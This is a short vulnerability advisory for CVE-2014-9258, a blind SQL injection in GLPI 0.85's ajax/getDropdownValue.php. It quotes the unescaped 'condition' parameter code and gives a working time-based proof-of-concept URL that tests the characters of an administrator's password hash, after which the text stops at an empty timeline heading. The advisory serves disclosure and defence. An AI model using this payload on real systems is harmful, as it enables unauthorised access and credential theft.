GLPI 0.85 Blind SQL Injection

Homepage:

http://www.glpi-project.org/

CVE-ID

CVE-2014-9258

CVSS Score

4

CVSS Vector

(AV:N/AC:L/Au:S/C:P/I:N/A:N)

Description:

All $_GET values are escaped:

File: inc\includes.php

if (isset($_GET)) {
   if (Toolbox::get_magic_quotes_gpc()) {
      $_GET = array_map(array('Toolbox', 'stripslashes_deep'), $_GET);
   }
   $_GET = array_map(array('Toolbox','addslashes_deep'), $_GET);
   $_GET = array_map(array('Toolbox', 'clean_cross_side_scripting_deep'), $_GET);
}

But in one place slashes are removed from $_GET['condition']:

File: ajax\getDropdownValue.php

if (isset($_GET['condition']) && !empty($_GET['condition'])) {
   $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
   $where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
         FROM `$table`
         $addjoin
         $where
         ORDER BY $add_order `$table`.`completename`
         $LIMIT";

if ($result = $DB->query($query)) {

}

$query is multiline statement so we cannot control ORDER BY.

That’s the reason why we cannot use UNION statement.

But we can use subquery.

Proof of Concept:

Login (user type doesn’t matter) then:

http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)

glpi_groups must have at least one record in order to work.

This SQL will check if first password character user ID=2 is “$”.

If yes, it will sleep 5 seconds.

Timeline: